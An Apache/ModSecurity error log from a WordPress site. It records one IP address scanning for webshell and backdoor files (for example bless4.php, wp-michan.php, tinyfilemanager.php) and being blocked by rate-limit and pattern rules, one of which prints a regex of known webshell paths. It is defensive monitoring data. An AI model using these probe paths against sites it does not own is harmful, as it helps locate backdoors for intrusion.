[Sat Apr 18 01:12:13.485585 2026] [:error] [pid 59136:tid 59150] [client 20.238.75.27:65369] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "aeJp7SaoiUyiIR3EhLW20gAAAMs"]
[Sat Apr 18 01:12:20.001074 2026] [:error] [pid 63702:tid 63749] [client 20.238.75.27:58415] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "aeJp9MTL05PWYsKqTEYJzgAAAUk"]
[Sat Apr 18 01:12:24.176572 2026] [:error] [pid 63702:tid 63757] [client 20.238.75.27:65375] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "aeJp-MTL05PWYsKqTEYJ4AAAAVA"]
[Sat Apr 18 01:12:26.848814 2026] [:error] [pid 42442:tid 42453] [client 20.238.75.27:9048] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeJp-j4PBGqL_yqPJ8kjLAAAAQk"]
[Sat Apr 18 01:12:29.669950 2026] [:error] [pid 59136:tid 59145] [client 20.238.75.27:65364] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeJp_SaoiUyiIR3EhLW24QAAAMY"]
[Sat Apr 18 01:12:31.522471 2026] [:error] [pid 42442:tid 42461] [client 20.238.75.27:8987] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeJp_z4PBGqL_yqPJ8kjOgAAARE"]
[Sat Apr 18 01:12:32.568351 2026] [:error] [pid 63702:tid 63764] [client 20.238.75.27:64915] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeJqAMTL05PWYsKqTEYJ6wAAAVc"]
[Sat Apr 18 01:12:33.597904 2026] [:error] [pid 63702:tid 63755] [client 20.238.75.27:28654] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "aeJqAcTL05PWYsKqTEYJ7wAAAU4"]
[Sat Apr 18 01:21:20.290279 2026] [:error] [pid 42442:tid 42465] [client 20.238.75.27:60649] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "aeJsED4PBGqL_yqPJ8kqtQAAARU"]
[Sat Apr 18 01:21:23.315075 2026] [:error] [pid 63702:tid 63749] [client 20.238.75.27:34957] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "aeJsE8TL05PWYsKqTEYOmAAAAUk"]
[Sat Apr 18 01:21:31.566737 2026] [:error] [pid 63702:tid 63762] [client 20.238.75.27:60219] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "aeJsG8TL05PWYsKqTEYOsAAAAVU"]
[Sat Apr 18 01:21:33.792552 2026] [:error] [pid 63702:tid 63737] [client 20.238.75.27:64991] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeJsHcTL05PWYsKqTEYOuAAAAUA"]
[Sat Apr 18 01:21:37.897718 2026] [:error] [pid 42442:tid 42466] [client 20.238.75.27:60211] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeJsIT4PBGqL_yqPJ8kq4gAAARY"]
[Sat Apr 18 01:21:41.163659 2026] [:error] [pid 59044:tid 59123] [client 20.238.75.27:60191] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeJsJQFamkFyEtD_SMG-jwAAAJY"]
[Sat Apr 18 01:21:42.312377 2026] [:error] [pid 42442:tid 42456] [client 20.238.75.27:58890] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeJsJj4PBGqL_yqPJ8kq-gAAAQw"]
[Sat Apr 18 01:21:45.159644 2026] [:error] [pid 42442:tid 42448] [client 20.238.75.27:60195] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeJsKT4PBGqL_yqPJ8krCgAAAQQ"]
[Sat Apr 18 01:21:47.232585 2026] [:error] [pid 42442:tid 42468] [client 20.238.75.27:60166] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeJsKz4PBGqL_yqPJ8krGAAAARg"]
[Sat Apr 18 01:21:48.145837 2026] [:error] [pid 42442:tid 42465] [client 20.238.75.27:65016] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeJsLD4PBGqL_yqPJ8krIAAAARU"]
[Sat Apr 18 01:21:50.129370 2026] [:error] [pid 42442:tid 42461] [client 20.238.75.27:60223] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeJsLj4PBGqL_yqPJ8krIgAAARE"]
[Sat Apr 18 01:21:51.851824 2026] [:error] [pid 59042:tid 59054] [client 20.238.75.27:64985] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeJsL56p5oql0UklEBJOpwAAAAc"]
[Sat Apr 18 01:21:52.476166 2026] [:error] [pid 59042:tid 59056] [client 20.238.75.27:59081] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeJsMJ6p5oql0UklEBJOrgAAAAk"]
[Sat Apr 18 01:21:53.296780 2026] [:error] [pid 59042:tid 59069] [client 20.238.75.27:58904] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeJsMZ6p5oql0UklEBJOsAAAABY"]
[Sat Apr 18 01:21:53.972230 2026] [:error] [pid 59043:tid 59093] [client 20.238.75.27:64977] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeJsMYRtUGE9SfUh2wwS4gAAAFM"]
[Sat Apr 18 01:21:55.120787 2026] [:error] [pid 63702:tid 63750] [client 20.238.75.27:60111] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeJsM8TL05PWYsKqTEYO4gAAAUo"]
[Sat Apr 18 01:21:56.100399 2026] [:error] [pid 59044:tid 59119] [client 20.238.75.27:60116] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeJsNAFamkFyEtD_SMG-rQAAAJI"]
[Sat Apr 18 01:21:57.173751 2026] [:error] [pid 42442:tid 42457] [client 20.238.75.27:60194] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeJsNT4PBGqL_yqPJ8krKQAAAQ0"]
[Sat Apr 18 01:21:58.244604 2026] [:error] [pid 59042:tid 59061] [client 20.238.75.27:60137] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeJsNp6p5oql0UklEBJOvQAAAA4"]
[Sat Apr 18 01:21:59.180967 2026] [:error] [pid 63702:tid 63739] [client 20.238.75.27:59075] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeJsN8TL05PWYsKqTEYO6gAAAUE"]
[Sat Apr 18 01:21:59.767021 2026] [:error] [pid 63702:tid 63764] [client 20.238.75.27:59439] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeJsN8TL05PWYsKqTEYO6wAAAVc"]
[Sat Apr 18 01:22:00.701088 2026] [:error] [pid 63702:tid 63750] [client 20.238.75.27:60212] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeJsOMTL05PWYsKqTEYO7gAAAUo"]
[Sat Apr 18 01:22:04.218708 2026] [:error] [pid 59042:tid 59051] [client 20.238.75.27:60205] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeJsPJ6p5oql0UklEBJOwwAAAAQ"]
[Sat Apr 18 01:22:14.289603 2026] [:error] [pid 59043:tid 59082] [client 20.238.75.27:58912] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeJsRoRtUGE9SfUh2wwS6QAAAEg"]
[Sat Apr 18 01:22:55.234625 2026] [:error] [pid 42442:tid 42451] [client 20.238.75.27:34973] [client 20.238.75.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeJsbz4PBGqL_yqPJ8krqwAAAQc"]
[Sat Apr 18 01:23:40.547300 2026] [autoindex:error] [pid 42442:tid 42444] [client 20.238.75.27:62599] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 18 01:26:01.721907 2026] [:error] [pid 42442:tid 42449] [client 20.238.75.27:61524] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeJtKT4PBGqL_yqPJ8ktbQAAAQU"]
[Sat Apr 18 01:26:07.188821 2026] [:error] [pid 63702:tid 63751] [client 20.238.75.27:64591] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeJtL8TL05PWYsKqTEYQtQAAAUs"]
[Sat Apr 18 01:26:12.849849 2026] [:error] [pid 63702:tid 63740] [client 20.238.75.27:8356] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeJtNMTL05PWYsKqTEYQwAAAAUI"]
[Sat Apr 18 01:26:16.676836 2026] [:error] [pid 59136:tid 59148] [client 20.238.75.27:61581] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeJtOCaoiUyiIR3EhLW7UwAAAMk"]
[Sat Apr 18 01:26:18.667023 2026] [:error] [pid 59044:tid 59124] [client 20.238.75.27:61527] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeJtOgFamkFyEtD_SMG_eAAAAJc"]
[Sat Apr 18 01:26:20.087157 2026] [:error] [pid 59044:tid 59111] [client 20.238.75.27:62218] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeJtPAFamkFyEtD_SMG_fwAAAIo"]
[Sat Apr 18 01:26:22.100307 2026] [:error] [pid 42442:tid 42465] [client 20.238.75.27:64107] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeJtPj4PBGqL_yqPJ8ktfQAAARU"]
[Sat Apr 18 01:26:23.064629 2026] [:error] [pid 59042:tid 59070] [client 20.238.75.27:62250] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJtP56p5oql0UklEBJQUwAAABc"]
[Sat Apr 18 01:26:24.894354 2026] [:error] [pid 59043:tid 59085] [client 20.238.75.27:61579] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJtQIRtUGE9SfUh2wwT1QAAAEs"]
[Sat Apr 18 01:26:27.214961 2026] [:error] [pid 59044:tid 59120] [client 20.238.75.27:64583] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJtQwFamkFyEtD_SMG_iAAAAJM"]
[Sat Apr 18 01:26:28.873479 2026] [:error] [pid 59136:tid 59163] [client 20.238.75.27:61557] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeJtRCaoiUyiIR3EhLW7ZAAAANg"]
[Sat Apr 18 01:26:31.927085 2026] [:error] [pid 63702:tid 63758] [client 20.238.75.27:62257] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeJtR8TL05PWYsKqTEYQxwAAAVE"]
[Sat Apr 18 01:26:35.321434 2026] [:error] [pid 42442:tid 42466] [client 20.238.75.27:64098] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeJtSz4PBGqL_yqPJ8ktkgAAARY"]
[Sat Apr 18 01:26:37.106395 2026] [:error] [pid 63702:tid 63760] [client 20.238.75.27:64633] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeJtTcTL05PWYsKqTEYQ1wAAAVM"]
[Sat Apr 18 01:26:39.910707 2026] [:error] [pid 59044:tid 59111] [client 20.238.75.27:61583] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeJtTwFamkFyEtD_SMG_kQAAAIo"]
[Sat Apr 18 01:26:44.134054 2026] [:error] [pid 42442:tid 42451] [client 20.238.75.27:64070] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeJtVD4PBGqL_yqPJ8kt1QAAAQc"]
[Sat Apr 18 01:26:48.611889 2026] [:error] [pid 59044:tid 59121] [client 20.238.75.27:62239] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeJtWAFamkFyEtD_SMG_mgAAAJQ"]
[Sat Apr 18 01:26:58.184201 2026] [autoindex:error] [pid 42442:tid 42462] [client 20.238.75.27:61791] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 18 01:29:17.761347 2026] [:error] [pid 59042:tid 59057] [client 20.238.75.27:61206] [client 20.238.75.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeJt7Z6p5oql0UklEBJRSgAAAAo"]
[Sat Apr 18 01:29:50.946266 2026] [autoindex:error] [pid 63702:tid 63755] [client 20.238.75.27:8411] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 18 01:30:37.766107 2026] [:error] [pid 63702:tid 63755] [client 20.238.75.27:61202] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "aeJuPcTL05PWYsKqTEYS6AAAAU4"]
